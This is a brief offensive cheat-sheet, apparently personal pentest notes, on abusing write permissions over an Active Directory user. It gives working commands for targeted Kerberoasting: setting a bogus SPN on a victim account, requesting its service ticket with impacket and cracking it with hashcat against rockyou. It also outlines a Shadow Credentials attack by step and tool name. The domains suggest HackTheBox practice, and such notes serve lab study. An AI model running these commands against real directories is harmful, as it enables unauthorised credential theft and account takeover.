GenericWrite or GenericAll on user

Method 1 - Kerberoasting

Set user SPN and then try kerberoasting

Get-ADObject -Filter 'samAccountName -like "targetUser"' | Set-ADObject -Add @{ServicePrincipalName='pwn/pwn'}
Get-ADObject -Filter 'samAccountName -like "ethan"' -Property ServicePrincipalName

Sync time and do kerberoast

ntpdate -4 $ip
impacket-GetUserSPNs 'local.htb/user:password' -dc-ip $ip -request
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

OR

faketime "$(ntpdate -q dc.local.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs 'local.htb/username:password' -dc-ip $ip -request

Method2 - Shadow Credentials

  1. Inject public key into user's account

  2. Get TGT for a user

  3. Set TGT as variable

Certipy

PyWhisker

Last updated